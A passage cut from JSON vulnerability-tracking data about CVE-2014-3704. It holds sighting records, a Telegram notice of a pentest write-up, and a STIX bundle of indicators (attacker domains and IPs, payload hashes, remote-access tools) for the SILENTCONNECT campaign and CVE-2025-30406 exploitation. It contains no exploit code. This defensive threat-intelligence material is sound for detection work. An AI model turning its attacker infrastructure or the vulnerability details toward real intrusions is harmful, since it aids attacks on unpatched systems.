\u2502 CVE-2011-3730  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2016-2183  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2016-6329  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS                  \u2502 CVE-2020-12872 \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          \u2502 CVE-2011-3389  \u2502\n\u2502 192.168.0.10 \u2502 tcp   \u2502 631  \u2502 SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection          \u2502 CVE-2015-0204  \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500&   #9472;\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n[Users]", "url": "https://t.me/hacking_Attack/129253"}, {"timestamp": "2026-09-03T06:41:00Z", "date_only": false, "value": "2026-09-03T06:41:00+00:00", "kind": "kev", "label": "Asserted", "source": "previdian", "record": "CVE-2014-3704", "field": "timestamps.asserted_at", "uuid": "d4117ee6-f48c-4831-98ef-068fc12340f1", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-03T06:41:00Z", "date_only": false, "value": "2026-09-03T06:41:00+00:00", "kind": "kev", "label": "First seen", "source": "previdian", "record": "CVE-2014-3704", "field": "timestamps.first_seen_at", "uuid": "d4117ee6-f48c-4831-98ef-068fc12340f1", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-03T06:41:00Z", "date_only": false, "value": "2026-09-03T06:41:00+00:00", "kind": "kev", "label": "Status updated", "source": "previdian", "record": "CVE-2014-3704", "field": "status.status_updated_at", "uuid": "d4117ee6-f48c-4831-98ef-068fc12340f1", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-03T06:41:00.665Z", "date_only": false, "value": "2026-09-03T06:41:00.665Z", "kind": "kev", "label": "Catalog added", "source": "previdian", "record": "CVE-2014-3704", "field": "evidence.0.details.added_date", "uuid": "d4117ee6-f48c-4831-98ef-068fc12340f1", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-04T07:00:01Z", "date_only": false, "value": "2026-09-04T07:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "previdian", "record": "CVE-2014-3704", "field": "timestamps.recorded_at", "uuid": "d4117ee6-f48c-4831-98ef-068fc12340f1", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-04T07:00:58.551Z", "date_only": false, "value": "2026-09-04T07:00:58.551860Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d4117ee6-f48c-4831-98ef-068fc12340f1", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "e751b2c2-1e90-4555-acc0-75a3ccd79e2d", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d4117ee6-f48c-4831-98ef-068fc12340f1"}, {"timestamp": "2026-09-13T21:00:04.954Z", "date_only": false, "value": "2026-09-13T21:00:04.954713Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/102237", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "099cec0e-b235-407e-a4cd-a881469555ef", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a metasploitable3-pentest-writeup\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a adfortunato\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-13 18:59:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFull home-lab penetration test of Rapid7's Metasploitable3 (Ubuntu 14.04) from Parrot OS. Covers recon, manual UNION SQLi, Drupalgeddon (CVE-2014-3704) RCE, SSH credential reuse, privilege escalation to root, and reverse shells. Written as a workable report \u2014 feed it back and re-run the whole lab.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/102237"}, {"timestamp": "2026-09-14T10:00:04.413Z", "date_only": false, "value": "2026-09-14T10:00:04.413284Z", "kind": "sighting", "label": "Seen", "source": "Telegram/cETmR6PmVA-Oz0aW9cR5toB5HzP84uGj8tzgORzgcaHdb5Y", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "bf25b580-c465-4911-9fc8-e23dc25f1383"}, {"timestamp": "2026-09-15T00:00:24.018Z", "date_only": false, "value": "2026-09-15T00:00:24.018575Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/cETmR6PmVA-Oz0aW9cR5toB5HzP84uGj8tzgORzgcaHdb5Y", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "b2d4074e-563f-4d0f-b27b-446253e53e6a"}, {"timestamp": "2026-09-17T19:18:21.871Z", "date_only": false, "value": "2026-09-17T19:18:21.871530Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/m-q-t/6ab5b9f4cc22d934d8246fcf0b65812f", "record": "CVE-2014-3704", "field": "creation_timestamp", "uuid": "488d17ce-e84c-4036-b5e3-e26315b60a9b", "content": "{\n  \"type\": \"bundle\",\n  \"id\": \"bundle--524cfcac-f8e3-4625-98f7-2f0913165d10\",\n  \"objects\": [\n    {\n      \"id\": \"domain-name--685142e9-f5e7-5953-9dd9-de81cc4e5669\",\n      \"type\": \"domain-name\",\n      \"value\": \"rtb.mftadsrvr.com\",\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"domain-name--6fb7606f-c719-597d-8bcf-9c1f4e09ec62\",\n      \"type\": \"domain-name\",\n      \"value\": \"solpru.com\",\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"file--553fdc5e-6ed0-5a68-9979-1882f8fdaeb6\",\n      \"type\": \"file\",\n      \"hashes\": {\n        \"SHA-256\": \"c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7\"\n      },\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"file--a6e7344f-4f56-5fb8-9bc5-6a3dd5e795d2\",\n      \"type\": \"file\",\n      \"hashes\": {\n        \"SHA-256\": \"48b006cb17e75ecdb707dc40dd654f449b94abe49f97a808b35cabca1c5fabbf\"\n      },\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"name\": \"Mallory\",\n      \"type\": \"identity\",\n      \"created\": \"2026-09-17T17:53:45.136704Z\",\n      \"modified\": \"2026-09-17T17:53:45.136704Z\",\n      \"description\": \"Persistent sandbox producer identity; not a production identity.\",\n      \"spec_version\": \"2.1\",\n      \"identity_class\": \"organization\"\n    },\n    {\n      \"id\": \"indicator--046f0048-f112-4f17-981f-da2404a9cf84\",\n      \"name\": \"elastic_security_labs: solpru.com\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.162265Z\",\n      \"pattern\": \"[domain-name:value = 'solpru.com']\",\n      \"modified\": \"2026-09-17T17:53:45.162265Z\",\n      \"valid_from\": \"2026-03-19T00:00:00.000000Z\",\n      \"description\": \"Compromised legitimate website hosting a fake DocuSign portal that delivers a preconfigured ScreenConnect MSI.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"indicator--0d0e2908-cbbf-42f6-b263-7516177edd5b\",\n      \"name\": \"huntress_blog: 165.227.7.206\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.153006Z\",\n      \"pattern\": \"[ipv4-addr:value = '165.227.7.206']\",\n      \"modified\": \"2026-09-17T17:53:45.153006Z\",\n      \"valid_from\": \"2025-04-11T00:00:00.000000Z\",\n      \"description\": \"Attacker IP address listed in the article's IOC table for exploitation of CVE-2025-30406 against Gladinet CentreStack/Triofox.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"indicator--2c3c072a-ab47-4cb8-bcc2-f343dac535d4\",\n      \"name\": \"huntress_blog: 48b006cb17e75ecdb707dc40dd654f449b94abe49f97a808b35cabca1c5fabbf\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.156615Z\",\n      \"pattern\": \"[file:hashes.'SHA-256' = '48b006cb17e75ecdb707dc40dd654f449b94abe49f97a808b35cabca1c5fabbf']\",\n      \"modified\": \"2026-09-17T17:53:45.156615Z\",\n      \"valid_from\": \"2025-04-11T00:00:00.000000Z\",\n      \"description\": \"SHA-256 hash of d3d11.dll, listed in the IOC table and described as a Cobalt Strike-related payload used during post-exploitation.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"indicator--38fda90c-8cbc-4946-8988-3b4d7706b181\",\n      \"name\": \"elastic_security_labs: 86.38.225.59\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.167579Z\",\n      \"pattern\": \"[ipv4-addr:value = '86.38.225.59']\",\n      \"modified\": \"2026-09-17T17:53:45.167579Z\",\n      \"valid_from\": \"2026-03-19T00:00:00.000000Z\",\n      \"description\": \"Adversary-controlled ScreenConnect command-and-control server used in the SILENTCONNECT campaign.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"indicator--5baac882-c81d-473e-a461-d42bb3d19782\",\n      \"name\": \"huntress_blog: rtb.mftadsrvr.com\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.159442Z\",\n      \"pattern\": \"[domain-name:value = 'rtb.mftadsrvr.com']\",\n      \"modified\": \"2026-09-17T17:53:45.159442Z\",\n      \"valid_from\": \"2025-04-11T00:00:00.000000Z\",\n      \"description\": \"Domain used by the MeshCentral agent installed during post-exploitation; the article ties it to the same infrastructure as Centre.exe.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"indicator--de10d7ff-31fa-406e-bf5b-93967af6c17f\",\n      \"name\": \"elastic_security_labs: c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7\",\n      \"type\": \"indicator\",\n      \"created\": \"2026-09-17T17:53:45.164982Z\",\n      \"pattern\": \"[file:hashes.'SHA-256' = 'c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7']\",\n      \"modified\": \"2026-09-17T17:53:45.164982Z\",\n      \"valid_from\": \"2026-03-19T00:00:00.000000Z\",\n      \"description\": \"SHA-256 of the malicious ScreenConnect.ClientSetup.msi installer deployed by the campaign.\",\n      \"pattern_type\": \"stix\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"indicator_types\": [\n        \"malicious-activity\"\n      ],\n      \"pattern_version\": \"2.1\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"ipv4-addr--872cf221-6429-5424-a644-711ca013c260\",\n      \"type\": \"ipv4-addr\",\n      \"value\": \"86.38.225.59\",\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"ipv4-addr--a6cbba3c-d2ec-5833-b87d-8b64727216a5\",\n      \"type\": \"ipv4-addr\",\n      \"value\": \"165.227.7.206\",\n      \"spec_version\": \"2.1\"\n    },\n    {\n      \"id\": \"malware--a4558ada-8da1-428b-bb17-16c1851c841b\",\n      \"name\": \"SILENTCONNECT\",\n      \"type\": \"malware\",\n      \"created\": \"2026-09-17T17:53:45.148995Z\",\n      \"modified\": \"2026-09-17T17:53:45.148995Z\",\n      \"is_family\": true,\n      \"spec_version\": \"2.1\",\n      \"malware_types\": [\n        \"downloader\"\n      ],\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\"\n    },\n    {\n      \"id\": \"relationship--05ac3c7f-64c8-44bc-9cd7-c1af7d2570f3\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.176005Z\",\n      \"modified\": \"2026-09-17T17:53:45.176005Z\",\n      \"source_ref\": \"indicator--046f0048-f112-4f17-981f-da2404a9cf84\",\n      \"target_ref\": \"tool--1cddfda9-41b2-45d6-9b22-b849a7d91a44\",\n      \"description\": \"Reviewed tool association from the selected source verdict.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"indicates\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--208c41e1-fe2e-40b9-9b58-2e2321f6e326\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.178343Z\",\n      \"modified\": \"2026-09-17T17:53:45.178343Z\",\n      \"source_ref\": \"tool--1c09172f-2254-46c2-a5eb-f985b182d6b0\",\n      \"target_ref\": \"vulnerability--c3efd23a-65e5-4f7e-87fc-34e32cb7fe5f\",\n      \"description\": \"Threat actors have also been observed performing lateral movement and performing installation of remote access tooling, namely MeshCentral.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--34c5a11a-9c97-4d48-b99b-8c64d16158a3\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.158016Z\",\n      \"modified\": \"2026-09-17T17:53:45.158016Z\",\n      \"source_ref\": \"indicator--2c3c072a-ab47-4cb8-bcc2-f343dac535d4\",\n      \"target_ref\": \"file--a6e7344f-4f56-5fb8-9bc5-6a3dd5e795d2\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--3e61c55d-3f1d-48d8-84b2-d822a4460d4d\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.160797Z\",\n      \"modified\": \"2026-09-17T17:53:45.160797Z\",\n      \"source_ref\": \"indicator--5baac882-c81d-473e-a461-d42bb3d19782\",\n      \"target_ref\": \"domain-name--685142e9-f5e7-5953-9dd9-de81cc4e5669\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--4aaf66d8-1f25-45de-90ed-6753bbe9cef5\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.172005Z\",\n      \"modified\": \"2026-09-17T17:53:45.172005Z\",\n      \"source_ref\": \"indicator--38fda90c-8cbc-4946-8988-3b4d7706b181\",\n      \"target_ref\": \"malware--a4558ada-8da1-428b-bb17-16c1851c841b\",\n      \"description\": \"Aggregate Mallory association; no stronger predicate inferred.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--54149a90-14b5-44c0-b28e-46397d5b2b93\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.175047Z\",\n      \"modified\": \"2026-09-17T17:53:45.175047Z\",\n      \"source_ref\": \"indicator--de10d7ff-31fa-406e-bf5b-93967af6c17f\",\n      \"target_ref\": \"malware--a4558ada-8da1-428b-bb17-16c1851c841b\",\n      \"description\": \"Aggregate Mallory association; no stronger predicate inferred.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--5bb05c53-95c3-406d-892a-e0e3fbdecbb1\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.174075Z\",\n      \"modified\": \"2026-09-17T17:53:45.174075Z\",\n      \"source_ref\": \"indicator--2c3c072a-ab47-4cb8-bcc2-f343dac535d4\",\n      \"target_ref\": \"tool--9ac8dc3e-e11f-48b4-add3-0be14b9c26b1\",\n      \"description\": \"Reviewed tool association from the selected source verdict.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"indicates\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--7171d538-2980-4e6e-ae9a-1a5c6e577249\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.170924Z\",\n      \"modified\": \"2026-09-17T17:53:45.170924Z\",\n      \"source_ref\": \"indicator--de10d7ff-31fa-406e-bf5b-93967af6c17f\",\n      \"target_ref\": \"tool--1cddfda9-41b2-45d6-9b22-b849a7d91a44\",\n      \"description\": \"Reviewed tool association from the selected source verdict.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"indicates\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--9fbde642-362a-4b18-ade9-0e31be730828\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.154592Z\",\n      \"modified\": \"2026-09-17T17:53:45.154592Z\",\n      \"source_ref\": \"indicator--0d0e2908-cbbf-42f6-b263-7516177edd5b\",\n      \"target_ref\": \"ipv4-addr--a6cbba3c-d2ec-5833-b87d-8b64727216a5\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--b5a9f7a5-56a3-4282-9c29-358edfc45b4a\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.169819Z\",\n      \"modified\": \"2026-09-17T17:53:45.169819Z\",\n      \"source_ref\": \"indicator--38fda90c-8cbc-4946-8988-3b4d7706b181\",\n      \"target_ref\": \"tool--1cddfda9-41b2-45d6-9b22-b849a7d91a44\",\n      \"description\": \"Reviewed tool association from the selected source verdict.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"indicates\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.elastic.co/security-labs/threat-command/silentconnect-delivers-screenconnect\",\n          \"source_name\": \"elastic_security_labs\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--c601e955-d987-47e8-85e3-9136ee825946\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.177022Z\",\n      \"modified\": \"2026-09-17T17:53:45.177022Z\",\n      \"source_ref\": \"tool--9ac8dc3e-e11f-48b4-add3-0be14b9c26b1\",\n      \"target_ref\": \"vulnerability--c3efd23a-65e5-4f7e-87fc-34e32cb7fe5f\",\n      \"description\": \"CVE-2025-30406 is a 9.0 critical severity vulnerability pertaining to hardcoded keys set by default in the CentreStack and Triofox configuration files. This weakness can be leveraged to abuse the ASPX ViewState ... with ViewState deserialization ... Exploitation leads to remote code execution. | The Centre.exe process was removed by Windows Defender within minutes with the following Threat Name: Behavior:Win32/CobaltStrike.H!sms\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--ce16e3f6-8fc9-48c8-b85b-5bcec7b35d5d\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.163617Z\",\n      \"modified\": \"2026-09-17T17:53:45.163617Z\",\n      \"source_ref\": \"indicator--046f0048-f112-4f17-981f-da2404a9cf84\",\n      \"target_ref\": \"domain-name--6fb7606f-c719-597d-8bcf-9c1f4e09ec62\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--e87c8f5a-b222-412a-a3da-76160c748ed7\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.166341Z\",\n      \"modified\": \"2026-09-17T17:53:45.166341Z\",\n      \"source_ref\": \"indicator--de10d7ff-31fa-406e-bf5b-93967af6c17f\",\n      \"target_ref\": \"file--553fdc5e-6ed0-5a68-9979-1882f8fdaeb6\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"relationship--f68ba0d7-a305-45aa-a1cb-cfe3c9d8418a\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.173055Z\",\n      \"modified\": \"2026-09-17T17:53:45.173055Z\",\n      \"source_ref\": \"indicator--5baac882-c81d-473e-a461-d42bb3d19782\",\n      \"target_ref\": \"tool--1c09172f-2254-46c2-a5eb-f985b182d6b0\",\n      \"description\": \"Reviewed tool association from the selected source verdict.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"indicates\",\n      \"external_references\": [\n        {\n          \"url\": \"https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild\",\n          \"source_name\": \"huntress_blog\"\n        }\n      ]\n    },\n    {\n      \"id\": \"relationship--fd01fc79-fbac-48cb-b73e-5e71eeccdc06\",\n      \"type\": \"relationship\",\n      \"created\": \"2026-09-17T17:53:45.168822Z\",\n      \"modified\": \"2026-09-17T17:53:45.168822Z\",\n      \"source_ref\": \"indicator--38fda90c-8cbc-4946-8988-3b4d7706b181\",\n      \"target_ref\": \"ipv4-addr--872cf221-6429-5424-a644-711ca013c260\",\n      \"description\": \"This atomic indicator pattern matches this cyber observable.\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\",\n      \"relationship_type\": \"related-to\"\n    },\n    {\n      \"id\": \"tool--1c09172f-2254-46c2-a5eb-f985b182d6b0\",\n      \"name\": \"MeshCentral\",\n      \"type\": \"tool\",\n      \"created\": \"2026-09-17T17:53:45.148001Z\",\n      \"modified\": \"2026-09-17T17:53:45.148001Z\",\n      \"tool_types\": [\n        \"remote-access\"\n      ],\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\"\n    },\n    {\n      \"id\": \"tool--1cddfda9-41b2-45d6-9b22-b849a7d91a44\",\n      \"name\": \"ScreenConnect\",\n      \"type\": \"tool\",\n      \"created\": \"2026-09-17T17:53:45.146908Z\",\n      \"modified\": \"2026-09-17T17:53:45.146908Z\",\n      \"tool_types\": [\n        \"remote-access\"\n      ],\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\"\n    },\n    {\n      \"id\": \"tool--9ac8dc3e-e11f-48b4-add3-0be14b9c26b1\",\n      \"name\": \"Cobalt Strike\",\n      \"type\": \"tool\",\n      \"created\": \"2026-09-17T17:53:45.145740Z\",\n      \"modified\": \"2026-09-17T17:53:45.145740Z\",\n      \"tool_types\": [\n        \"remote-access\"\n      ],\n      \"description\": \"[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)\\n\\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)\",\n      \"spec_version\": \"2.1\",\n      \"created_by_ref\": \"identity--17d3dc12-f291-41e5-a0a3-e8b3f450b92e\"\n    },\n    {\n      \"id\": \"vulnerability--c3efd23a-65e5-4f7e-87fc-34e32cb7fe5f\",\n      \"name\": \"CVE-2025-30406\",\n      \"type\": \"vulnerability\",\n      \"created\": \"2026-09-17T17:53:45.149994Z\",\n      \"modified\": \"2026-09-17T17:53:45.149994Z\",\n      \"description\": \"Gladinet CentreStack through 16.1.10296.56315 (fixed in 16.4.10315.56368) has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors (who know the machineKey) to serialize a payload for server-side deserialization to achieve remote code execution. NOTE: a CentreStack admin can manually delete the machineKey defined in portal\\\\web.config.\",\n      \"spec_version\": 